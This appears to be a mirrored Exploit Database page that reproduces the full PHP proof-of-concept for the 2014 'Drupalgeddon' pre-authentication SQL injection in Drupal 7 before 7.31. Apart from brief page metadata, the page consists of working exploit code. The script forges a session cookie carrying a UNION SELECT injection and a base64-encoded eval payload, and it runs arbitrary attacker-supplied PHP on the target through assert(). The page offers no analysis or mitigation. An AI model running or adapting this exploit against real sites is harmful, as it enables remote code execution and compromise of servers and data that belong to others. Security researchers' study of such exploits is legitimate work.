Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)

• Exploit Database
• 120 阅读

• 作者： Stefan Horst
  日期： 2014-11-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35150/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87

  <?php //_______ ___ _______ // / ___/___/ /__/ /_(_)_______/ ____(_)________ // \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/ //___/ /__/ ,< / /_/ / /_/ / / / / /___/ / / / (__) // /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/ // Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins // // created by Stefan Horst <stefan.horst@sektioneins.de> //and Stefan Esser <stefan.esser@sektioneins.de> //·   include &apos;common.inc&apos;; include &apos;password.inc&apos;;   // set values $user_id = 0; $user_name = &apos;&apos;;   $code_inject = &apos;phpinfo();session_destroy();die("");&apos;;   $url = isset($argv[1])?$argv[1]:&apos;&apos;; $code = isset($argv[2])?$argv[2]:&apos;&apos;;   if ($url == &apos;-h&apos;) { echo "usage:\n"; echo $argv[0].&apos; $url [$code|$file]&apos;."\n"; die(); }   if (empty($url) || strpos($url,&apos;https&apos;) === False) { echo "please state the cookie url. It works only with https urls.\n"; die(); }   if (!empty($code)) { if (is_file($code)) { $code_inject = str_replace(&apos;<&apos;.&apos;?&apos;,&apos;&apos;,str_replace(&apos;<&apos;.&apos;?php&apos;,&apos;&apos;,str_replace(&apos;?&apos;.&apos;>&apos;,&apos;&apos;,file_get_contents($code)))); } else { $code_inject = $code; } }   $code_inject = rtrim($code_inject,&apos;;&apos;); $code_inject .= &apos;;session_destroy();die("");&apos;;   if (strpos($url, &apos;www.&apos;) === 0) { $url = substr($url, 4); }   $_SESSION= array(&apos;a&apos;=>&apos;eval(base64_decode("&apos;.base64_encode($code_inject).&apos;"))&apos;,&apos;build_info&apos; => array(), &apos;wrapper_callback&apos; => &apos;form_execute_handlers&apos;, &apos;#Array&apos; => array(&apos;array_filter&apos;), &apos;string&apos; => &apos;assert&apos;); $_SESSION[&apos;build_info&apos;][&apos;args&apos;][0] = &$_SESSION[&apos;string&apos;];   list( , $session_name) = explode(&apos;://&apos;, $url, 2);   // use insecure cookie with sql inj. $cookieName = &apos;SESS&apos; . substr(hash(&apos;sha256&apos;, $session_name), 0, 32); $password = user_hash_password(&apos;test&apos;);   $session_id = drupal_random_key(); $sec_ssid = drupal_random_key();   $serial = str_replace(&apos;}&apos;,&apos;CURLYCLOSE&apos;,str_replace(&apos;{&apos;,&apos;CURLYOPEN&apos;,"batch_form_state|".serialize($_SESSION))); $inject = "UNION SELECT $user_id,&apos;$user_name&apos;,&apos;$password&apos;,&apos;&apos;,&apos;&apos;,&apos;&apos;,null,0,0,0,1,null,&apos;&apos;,0,&apos;&apos;,null,$user_id,&apos;$session_id&apos;,&apos;&apos;,&apos;127.0.0.1&apos;,0,0,REPLACE(REPLACE(&apos;".$serial."&apos;,&apos;CURLYCLOSE&apos;,CHAR(".ord(&apos;}&apos;).")),&apos;CURLYOPEN&apos;,CHAR(".ord(&apos;{&apos;).")) -- ";   $cookie = $cookieName.&apos;[test+&apos;.urlencode($inject).&apos;]=&apos;.$session_id.&apos;; &apos;.$cookieName.&apos;[test]=&apos;.$session_id.&apos;; S&apos;.$cookieName.&apos;=&apos;.$sec_ssid;   $ch = curl_init($url);   curl_setopt($ch,CURLOPT_HEADER,True); curl_setopt($ch,CURLOPT_RETURNTRANSFER,True); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False); curl_setopt($ch,CURLOPT_USERAGENT,&apos;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0&apos;);   curl_setopt($ch,CURLOPT_HTTPHEADER,array( &apos;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&apos;, &apos;Accept-Language: en-US,en;q=0.5&apos; ));   curl_setopt($ch,CURLOPT_COOKIE,$cookie);   $output = curl_exec($ch);   curl_close($ch);   echo $output;